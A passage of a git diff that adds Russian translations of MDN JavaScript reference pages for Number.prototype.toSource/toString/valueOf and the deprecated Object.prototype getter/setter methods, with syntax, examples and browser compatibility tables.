+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/tosource/index.html b/files/ru/web/javascript/reference/global_objects/number/tosource/index.html
new file mode 100644
index 0000000000..780652ac86
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/tosource/index.html
@@ -0,0 +1,104 @@
+---
+title: Number.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toSource
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toSource
+---
+<div>{{JSRef("Global_Objects", "Number")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toSource()</code></strong> возвращает строку, представляющую исходный код объекта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toSource()
+Number.toSource()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>toSource</code> возвращает следующие значения:</p>
+
+<ul>
+ <li>Для встроенного объекта {{jsxref("Global_Objects/Number", "Number")}} метод <code>toSource</code> возвращает следующую строку, указывающую, что исходный код недоступен:
+
+  <pre class="brush: js">function Number() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Для экземпляров {{jsxref("Global_Objects/Number", "Number")}}, метод <code>toSource</code> возвращает строку, представляющую их исходный код.</li>
+</ul>
+
+<p>Этот метод обычно вызывается внутренними механизмами движка JavaScript, а не явно в коде.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/tostring/index.html b/files/ru/web/javascript/reference/global_objects/number/tostring/index.html
new file mode 100644
index 0000000000..e3bfee048a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/tostring/index.html
@@ -0,0 +1,148 @@
+---
+title: Number.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/Number/toString
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/toString
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toString()</code></strong> возвращает строковое представление указанного объекта {{jsxref("Global_Objects/Number", "Number")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>numObj</var>.toString([<var>radix</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>radix</code></dt>
+ <dd>Необязательный параметр. Целое число между 2 и 36, определяющее основание системы счисления, используемой для представления числового значения.</dd>
+</dl>
+
+<h3 id="Throws" name="Throws">Выбрасываемые исключения</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd>Если в метод <code>toString()</code> передано основание не в диапазоне от 2 до 36, будет выброшено исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Объект {{jsxref("Global_Objects/Number", "Number")}} переопределяет метод {{jsxref("Object.prototype.toString", "toString")}}, унаследованный из объекта {{jsxref("Global_Objects/Object", "Object")}}; он не наследует метод {{jsxref("Object.prototype.toString")}}. Для объектов {{jsxref("Global_Objects/Number", "Number")}} метод <code>toString()</code> возвращает строку, представляющую объект в определённой системе счисления.</p>
+
+<p>Метод <code>toString()</code> разбирает свой первый аргумент и пытается вернуть строковое представление в системе счисления с указанным основанием. Для оснований, больших 10, при обозначении цифр, больших 9, используются буквы латинского алфавита. Например, для шестнадцатеричных чисел (основание 16), используются буквы с <code>a</code> по <code>f</code>.</p>
+
+<p>Если параметр <code>radix</code> не указан, предпочитаемое основание предполагается равным 10.</p>
+
+<p>Если число <code>numObj</code> отрицательно, его знак сохраняется. Это правило действует даже если основание равно 2; возвращённая строка является двоичным представлением положительного числа <code>numObj</code>, перед которым ставится знак <code>-</code>, а <strong>не</strong> дополнительным кодом числа <code>numObj</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toString" name="Example:_Using_toString">Пример: использование <code>toString</code></h3>
+
+<pre class="brush: js">var count = 10;
+
+console.log(count.toString());    // Выведет '10'
+console.log((17).toString());     // Выведет '17'
+
+var x = 6;
+
+console.log(x.toString(2));       // Выведет '110'
+console.log((254).toString(16));  // Выведет 'fe'
+
+console.log((-10).toString(2));   // Выведет '-1010'
+console.log((-0xff).toString(2)); // Выведет '-11111111'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.2', 'Number.prototype.tostring')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.tostring', 'Number.prototype.tostring')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/valueof/index.html b/files/ru/web/javascript/reference/global_objects/number/valueof/index.html
new file mode 100644
index 0000000000..33c284df26
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/number/valueof/index.html
@@ -0,0 +1,115 @@
+---
+title: Number.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Number/valueOf
+tags:
+  - JavaScript
+  - Method
+  - Number
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/valueOf
+---
+<div>{{JSRef("Global_Objects", "Number")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>valueOf()</code></strong> возвращает примитивное значение объекта {{jsxref("Global_Objects/Number", "Number")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>numObj</var>.valueOf()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Этот метод обычно вызывается внутренними механизмами движка JavaScript, а не явно в коде.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_valueOf" name="Example:_Using_valueOf">Пример: использование <code>valueOf()</code></h3>
+<pre class="brush: js">var numObj = new Number(10);
+console.log(typeof numObj); // object
+
+var num = numObj.valueOf();
+console.log(num);           // 10
+console.log(typeof num);    // number
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7.4.4', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number.prototype.valueof', 'Number.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Number.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/__definegetter__/index.html b/files/ru/web/javascript/reference/global_objects/object/__definegetter__/index.html
new file mode 100644
index 0000000000..ecf5773d2e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/__definegetter__/index.html
@@ -0,0 +1,119 @@
+---
+title: Object.prototype.__defineGetter__()
+slug: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__
+---
+<div>{{JSRef("Global_Objects", "Object")}} {{non-standard_header}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>__defineGetter__()</code></strong> привязывает свойство объекта к функции, вызываемой каждый раз при поиске этого свойства.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.__defineGetter__(<var>prop</var>, <var>func</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Строка, содержащая имя свойства, привязываемого к заданной функции.</dd>
+ <dt><code>func</code></dt>
+ <dd>Функция, привязываемая к поиску указанного свойства.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>__defineGetter__()</code> позволяет определить {{jsxref("Operators/get", "геттер", "", 1)}} на уже существующем объекте.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">// Нестандартный и устаревший способ
+
+var o = {};
+o.__defineGetter__('gimmeFive', function() { return 5; });
+console.log(o.gimmeFive); // 5
+
+
+// Способы, совместимые со стандартом
+
+// Использование оператора get
+var o = { get gimmeFive() { return 5; } };
+console.log(o.gimmeFive); // 5
+
+
+// Использование Object.defineProperty()
+var o = {};
+Object.defineProperty(o, 'gimmeFive', {
+  get: function() {
+    return 5;
+  }
+});
+console.log(o.gimmeFive); // 5
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.__defineSetter__()")}}</li>
+ <li>оператор {{jsxref("Operators/get", "get")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupSetter__()")}}</li>
+ <li><a href="ru/docs/Web/JavaScript/Guide_ru/Working_with_Objects#.D0.9E.D0.BF.D1.80.D0.B5.D0.B4.D0.B5.D0.BB.D0.B5.D0.BD.D0.B8.D0.B5_.D0.B3.D0.B5.D1.82.D1.82.D0.B5.D1.80.D0.BE.D0.B2_.D0.B8_.D1.81.D0.B5.D1.82.D1.82.D0.B5.D1.80.D0.BE.D0.B2">Руководство по JS: определение геттеров и сеттеров</a></li>
+ <li><a href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">[Запись в блоге] Устаревание __defineGetter__ и __defineSetter__</a> (англ.)</li>
+ <li>{{bug(647423)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/__definesetter__/index.html b/files/ru/web/javascript/reference/global_objects/object/__definesetter__/index.html
new file mode 100644
index 0000000000..4d93278a6d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/__definesetter__/index.html
@@ -0,0 +1,132 @@
+---
+title: Object.prototype.__defineSetter__()
+slug: Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Non-standard
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__
+---
+<div>{{JSRef("Global_Objects", "Object")}} {{non-standard_header}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>__defineSetter__()</code></strong> привязывает свойство объекта к функции, вызываемой каждый раз при попытке установить значение этого свойства.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.__defineSetter__(<var>prop</var>, <var>fun</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Строка, содержащая имя свойства, привязываемого к заданной функции.</dd>
+ <dt><code>fun</code></dt>
+ <dd>Функция, вызываемая при попытке установить значение указанному свойству. Эта функция имеет вид:</dd>
+ <dd>
+  <pre>function(<var>val</var>) { . . . }</pre>
+  <dl>
+   <dt><code>val</code></dt>
+   <dd>Псевдоним переменной, содержащей значение, которое пытаются присвоить свойству <code>prop</code>.</dd>
+  </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>__defineSetter__()</code> позволяет определять {{jsxref("Operators/set", "сеттер", "", 1)}} на уже существующем объекте.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">// Нестандартный и устаревший способ
+
+var o = {};
+o.__defineSetter__('value', function(val) { this.anotherValue = val; });
+o.value = 5;
+console.log(o.value);         // undefined
+console.log(o.anotherValue);  // 5
+
+
+// Способ, совместимый со стандартом
+
+// Использование оператора set
+var o = { set value(val) { this.anotherValue = val; } };
+o.value = 5;
+console.log(o.value);         // undefined
+console.log(o.anotherValue);  // 5
+
+// Использование метода Object.defineProperty()
+var o = {};
+Object.defineProperty(o, 'value', {
+  set: function(val) {
+    this.anotherValue = val;
+  }
+});
+o.value = 5;
+console.log(o.value);         // undefined
+console.log(o.anotherValue);  // 5
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.__defineGetter__()")}}</li>
+ <li>оператор {{jsxref("Operators/set", "set")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.__lookupSetter__()")}}</li>
+ <li><a href="ru/docs/Web/JavaScript/Guide_ru/Working_with_Objects#.D0.9E.D0.BF.D1.80.D0.B5.D0.B4.D0.B5.D0.BB.D0.B5.D0.BD.D0.B8.D0.B5_.D0.B3.D0.B5.D1.82.D1.82.D0.B5.D1.80.D0.BE.D0.B2_.D0.B8_.D1.81.D0.B5.D1.82.D1.82.D0.B5.D1.80.D0.BE.D0.B2">Руководство по JS: определение геттеров и сеттеров</a></li>
+ <li><a href="http://whereswalden.com/2010/04/16/more-spidermonkey-changes-ancient-esoteric-very-rarely-used-syntax-for-creating-getters-and-setters-is-being-removed/">[Запись в блоге] Устаревание __defineGetter__ и __defineSetter__</a> (англ.)</li>
+ <li>{{bug(647423)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/__lookupgetter__/index.html b/files/ru/web/javascript/reference/global_objects/object/__lookupgetter__/index.html
new file mode 100644
index 0000000000..c08c8d1dde
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/__lookupgetter__/index.html
@@ -0,0 +1,110 @@
+---
+title: Object.prototype.__lookupGetter__()
+slug: Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Non-standard
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__
+---
+<div>{{JSRef("Global_Objects", "Object")}} {{non-standard_header}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>__lookupGetter__()</code></strong> возвращает функцию, привязанную к геттеру указанного свойства.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.__lookupGetter__(<var>sprop</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>sprop</code></dt>
+ <dd>Строка, содержащая имя свойства, чей геттер должен быть возвращён.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если для свойства объекта был определён геттер, то на него невозможно сослаться через это свойство, поскольку оно ссылается на возвращаемое значение геттера. Метод <code>__lookupGetter__()</code> может использоваться для получения ссылки на геттер.</p>
+<p>Сегодня это возможно сделать стандартным способом через {{jsxref("Object.getOwnPropertyDescriptor()")}} и {{jsxref("Object.getPrototypeOf()")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">var obj = {
+  get foo() {
+    return Math.random() &gt; 0.5 ? 'foo' : 'bar';
+  }
+};
+
+
+// Нестандартный и устаревший способ
+obj.__lookupGetter__('foo');
+// (function() { return Math.random() &gt; 0.5 ? 'foo' : 'bar'; })
+
+
+// Способ, совместимый со стандартом
+Object.getOwnPropertyDescriptor(obj, 'foo').get;
+// (function() { return Math.random() &gt; 0.5 ? 'foo' : 'bar'; })
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.__lookupSetter__()")}}</li>
+ <li>оператор {{jsxref("Operators/get", "get")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptor()")}} и {{jsxref("Object.getPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.prototype.__defineGetter__()")}}</li>
+ <li>{{jsxref("Object.prototype.__defineSetter__()")}}</li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide_ru/Working_with_Objects#.D0.9E.D0.BF.D1.80.D0.B5.D0.B4.D0.B5.D0.BB.D0.B5.D0.BD.D0.B8.D0.B5_.D0.B3.D0.B5.D1.82.D1.82.D0.B5.D1.80.D0.BE.D0.B2_.D0.B8_.D1.81.D0.B5.D1.82.D1.82.D0.B5.D1.80.D0.BE.D0.B2">Руководство по JS: определение геттеров и сеттеров</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/__lookupsetter__/index.html b/files/ru/web/javascript/reference/global_objects/object/__lookupsetter__/index.html
new file mode 100644
index 0000000000..1d9f91bf11
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/__lookupsetter__/index.html
@@ -0,0 +1,110 @@
+---
+title: Object.prototype.__lookupSetter__()
+slug: Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__
+tags:
+  - Deprecated
+  - JavaScript
+  - Method
+  - Non-standard
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__
+---
+<div>{{JSRef("Global_Objects", "Object")}} {{non-standard_header}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>__lookupSetter__()</code></strong> возвращает функцию, привязанную к сеттеру указанного свойства.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.__lookupSetter__(<var>sprop</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>sprop</code></dt>
+ <dd>Строка, содержащая имя свойства, чей сеттер должен быть возвращён.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если для свойства объекта был определён сеттер, то на него невозможно сослаться через это свойство, поскольку оно ссылается на возвращаемое значение сеттера. Метод <code>__lookupSetter__()</code> может использоваться для получения ссылки на сеттер.</p>
+<p>Сегодня это возможно сделать стандартным способом через {{jsxref("Object.getOwnPropertyDescriptor()")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+<pre class="brush: js">var obj = {
+  set foo(value) {
+    return this.bar = value;
+  }
+};
+
+
+// Нестандартный и устаревший способ
+obj.__lookupSetter__('foo')
+// (function(value) { this.bar = value; })
+
+
+// Способ, совместимый со стандартом
+Object.getOwnPropertyDescriptor(obj, 'foo').set;
+// (function(value) { this.bar = value; })
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
